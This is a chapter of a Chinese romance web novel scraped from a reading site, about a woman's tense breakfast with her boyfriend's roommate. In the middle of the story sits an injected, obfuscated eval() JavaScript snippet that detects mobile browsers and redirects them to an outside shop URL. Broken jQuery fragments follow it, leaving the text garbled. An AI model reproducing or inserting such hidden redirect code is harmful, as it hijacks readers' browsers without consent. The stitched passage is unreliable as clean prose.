默认冷灰
24号文字
方正启体

7. 早饭

作者:卷瑭本书字数:K更新时间:
    回到项旌帆的卧室,栾青蝶换好自己的衣服,他仍睡着。


    床上许多地方都是湿的,她坐不下去,只能拖着木凳,倚着电脑桌而坐。


    凳子很硬,她有些破皮,没几分钟,就坐不住。


    该回酒店的。栾青蝶在心里嘀咕。


    不对,应当是根本就不该来。


    幽怨地盯着罪魁祸首,他总是这样,一闭眼就睡得死沉。有次半夜她生理期造访,痛得痉挛,他却在一旁呼呼大睡,推都推不醒。还是她自己半夜下单布洛芬,硬撑着给快递开门,熬到天亮药才见效。


    他对她好时,掏心掏肺。可有时,却又没心没肺。偏偏后者都在无意间发生,她连抱怨都说不出口。


    闷闷地整理好衣物,栾青蝶鼓了鼓勇气,按住门把手。


    刚才进门,她几乎是逃进来的。孟溪洲的早饭邀请过于骇人,她衣不蔽体,怎可能与他同桌共食。


    而他后来的讥讽,更是令她无所适从。


    他从前再不耐烦,都不会说令人难堪的话。她不过是回来第二天,他就让她下不来台,他该有多讨厌她。


    既如此,她最好多避着些,就像他之前说的,不要再出现在他面前。


    相安无事,对谁都好。


    拇指压住门把手,略略用力,是她全部勇气的凝聚。然而,就在门锁将将松动时,手机响了。


    栾青蝶吓了一跳,下意识松手。门再度合拢。


    来电是一个江城本地陌生号码。


    她拍拍胸口,接起:“您好,请问您?”


    “栾青蝶,你没存我的电话?”


    沉肃的男声隔着听筒传来,偏他的语速极慢,每一个字都像是从齿缝中渗出,仿佛咬牙切齿。


    一定是她昨夜没休息好,加上今早过于劳累,才产生幻觉。


    栾青蝶悄悄瞥了眼一无所觉的男友,抿了抿唇,瞥向挂机键。


    “不说话?”他不徐不疾地问,“还是想让我敲门来请?”


    声音是双重的,一重清晰可辨,从听筒中传来。另一重朦朦胧胧,隔着薄薄的门板,间接响起几个音节。


    就好像说话的人站在门外不远处。


    蠢蠢欲动的指尖猝然定格,倘若对方敲门,又恰好项旌帆醒来,她该如何解释?


    栾青蝶回眸看向沉睡的男友,不动声色地深呼吸。


    “出来吃饭。”


    对方的耐心似是耗尽,第二重音又近了些,每一个字音都准确无误地震动两次耳蜗。


    不过是吃饭而已,怕什么。


    栾青蝶缴械投降。


    今天日光明媚,不知是阳光恰好落在他身上,还是吃了早饭的缘故,孟溪洲脸上终于染上一层薄薄的血色。


    栾青蝶不敢多看,把注意力都集中在早饭上。


    她面前放着一份鲜虾小笼,馅料里的虾仁完整,个头很大,佐着细碎的马蹄,咬在口中,仍是过去的味道。


    她家小区楼下的小笼包生意很好,每天一开门就排长队。上学时,妈妈为了让她吃一口热乎的小笼包,往往比她早半小时起床,才能赶在她出发前买回小笼包。


    昨夜在酒店时她就搜过,她喜欢的几家早餐店都不做外卖生意。


    这里离她家小区不近,他何时去买的早饭?


    默默吃完半份,盛小笼包的盘子忽然被大手抽走,焚香气味混在食物的香味中,不浓烈,但却突兀。


    栾青蝶愣了下,就见他将一个白瓷小碗放在她面前。


    白瓷小碗冒着腾腾热气,勺子一捞,里面装着刚出锅的馄饨。


    几分钟前,他突然离桌,他是去煮馄饨吗?


    大清早的,他不去加班,竟有闲心包馄饨。


    等等……包馄饨应该需要在厨房吧,所以她和项旌帆做的时候,他应当不在客厅。卧室离厨房有段距离,她的声音应当没那么有穿透力吧。


    他大概没有听到她的叫声。


    尴尬的情绪淡了些,她终于略略安心,胃口也就好了起来。


    一口馄饨下肚,她却又愣住。


    无论是口感还是滋味,都与母校外的那家相似。唯一不同的是汤头,多了一些回甘的滋味。


    不是他包的?


    孟溪洲慢条斯理地吃馄饨,过了会儿,沉静道:“陈阿姨去年退休,馄饨店交给她女儿打理,冬天吊高汤时会多加一味甘草。”


    他的声音不复喊她吃饭时的咄咄逼人,又恢复成沉缓的语调,徐徐说过去的人和事,好似多了些人情味。


    栾青蝶不免想起高中时,馄饨店的老客们都调侃陈阿姨,让她多干几年,等他们学成归来仍来捧场。她也是其中一员。


    “味道挺好,”栾青蝶抿了口汤,慢吞吞地回忆过去,“以前一到冬天,好多同学都咳嗽,甘草可以止咳。”


    “嗯。有人真病,也有人装病。”


    他这话接的奇怪,栾青蝶茫然抬眸,就听他又说:“你高二上学期期中考进步很大,想躲几天懒,于是装了好几天咳嗽。”


    她惊讶:“你知道我是装的?”


    那次考得好,爸妈怕她骄傲,不许她懈怠。可她娇气得很,觉得立了大功,无论如何都该犒劳自己。


    妈妈照常让孟溪洲来家里补课,她不乐意,故意在他面前大咳特咳。是他出面劝说,她才难得获得几天休息。


    平直的唇线忽而勾起,他说:“其实你装得不像,哪有人咳嗽只在人前,人后一点事都没有。”


    栾青蝶脱口:“那你还……”帮我说话。


    他没追问她未说完的话,而是说:“你常吃的那家炸年糕,老板今天没开门,明早我去买。”


    “孟溪洲。”


    被他惦记喜欢吃什么的感觉太奇怪了,栾青蝶抿了抿唇,轻声说:“不必麻烦,我明天回平城。”


    薄薄的眼皮缓缓撩起,在她脸上停顿片刻,又缓缓滑落在她颈侧。


    她穿的毛衫是圆领,只遮住脖子上半片红痕,出屋前她特意披散头发遮挡。


    难道没遮严实?


    下意识抬手,想拨弄头发。可他的目光过于锐利,还带着审视,她不敢轻举妄动,只怕做多错多。


    等他目光挪走,她如蒙大赦,连忙整理。


    半碗馄饨下肚,她实在吃不下。可不吃东西干坐着,只能更尴尬,她只能有一下没一下地用勺子戳碗。


    过了很久,孟溪洲忽然开口:“你……怎么会报考平城科大?不是想考江大吗?”


    栾青蝶垂了下眼帘,自嘲:“玩笑话。我考平城科大已经很费劲了,哪儿考得上江大。”


    其实不然,她的高考成绩已经过了江大分数线。若不是高考最后一个下午生理期造访,突如其来的疼痛令她发挥失常,她甚至有机会冲一冲江大的王牌专业。


    “玩笑么?”孟溪洲喃喃。


    他们关系没破裂前,每次聊到求学规划,她都一门心思跟他打听江大,以至于很长一段时间他都以为她非江大不考。


    馄饨凉透了,他没再吃,只是反复想着遥远的北方雪城:“在平城住得惯吗?听说冬季风雪很大。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035496|194624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “还行。”


    栾青蝶慢慢说起平城,说四季更迭,说学业生活。无论说什么,总好过一言不发,面面相觑。


    对面的人也配合,听得专注。偶尔提问,也都不是复杂的问题,栾青蝶想想便能答上。


    等她说到口干,孟溪洲去厨房给她倒水,这时,项旌帆的卧室门开了。他顶着鸡窝头,眯着眼睛,站在门边吆喝:“小蝴蝶,看到我的眼镜没?”


    栾青蝶进门就被他亲得迷糊,到后来做时,她更神志不清,哪里顾得上这些细节。


    “快给我找找,我看不清。”


    项旌帆理所当然地指挥,等看到孟溪洲端着玻璃杯走出厨房,骤然愣住:“你今天不加班?”


    过去每个周六,孟溪洲都雷打不动地上班。项旌帆曾以为他的工作是单休,后来问起,才知是加班。


    项目忙时,一周工作七天也是有的。就算不忙,他周六也通常不在家。


    孟溪洲颔首,视线不经意地扫过栾青蝶,忽然发现她走路的姿势有些不自然。


    他的目光沉下来,扭头去看项旌帆。后者双手抱胸,好整以暇地靠在门框上,半阖眼帘。


    他素来不喜欢游手好闲的人,忍了忍,没忍住,斥责:“这是你家还是她家,你让她帮你找东西?”


    “我丢了眼镜,看不清。”项旌帆指了指自己的眼睛,撇撇嘴,又无赖道,“这是情趣,单身狗不懂。”


    栾青蝶的毛衫是oversize的版型,把人衬得大只。但孟溪洲知道,她很瘦,无论是过去,还是今早意外瞥见,他都知她身上没二两肉。


    反观项旌帆,一米八的大男生,懒懒散散地享受小姑娘的照料,实在刺眼。


    孟溪洲皱了皱眉,跟上去,把玻璃杯塞到栾青蝶手中:“你不熟悉,我来找。”


    栾青蝶没吭声,顺从地坐下。破皮处磨得疼,若非不想让项旌帆注意到她跟他室友独处,她根本不愿动手。


    客厅里的两人一动一静,明明没有互动,却让人感觉分外和谐,有种插不进旁人的错觉。


    视线在两人身上徘徊片刻,项旌帆的目光追随着室友移动。


    他跟孟溪洲关系不错,但对方委实算不上热心人士,有时他醉酒归来想喝口热水都喝不上,今日怎么这么热情?


    “给你。”


    孟溪洲在玄关鞋架上找来眼镜:“不要乱丢东西。”


    项旌帆不在意地笑笑,拿到眼镜的那一刻立刻想起为什么会丢在玄关鞋柜。


    看清世界的第一眼,他向小女友递去一个暧昧的笑。


    她乖乖地坐在单人沙发上,双手捧着玻璃杯,眼眸低垂,像只好脾气的小猫咪,令人忍不住想破坏这份乖巧。


    他走过去,坐在沙发扶臂上,俯身拢住她,用下巴亲昵地蹭她的脑袋:“小蝴蝶,我饿了。”


    她想起,来他家的目的是做长寿面。番茄和鸡蛋都被她猝不及防地放在玄关地上。


    “我给你煮面。”


    她刚要起身,项旌帆忽然凑近,贴在她的颈侧闻了闻,眉头瞬时拧紧。


    下一刻,鼻子又向下挪。


    栾青蝶不知他想干什么,只感觉到他的鼻子几乎贴到她的胸,吓得连连推他。


    公共场合,孟溪洲也在……


    一缕冷肃的视线投过来,栾青蝶又冒出鸡皮疙瘩,她压低声音轻斥:“旌帆,快松开。”


    他的脑袋终于撤离,可箍在她腰际的手却越发收紧,项旌帆满脸狐疑:“你身上怎么有溪洲的味道?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)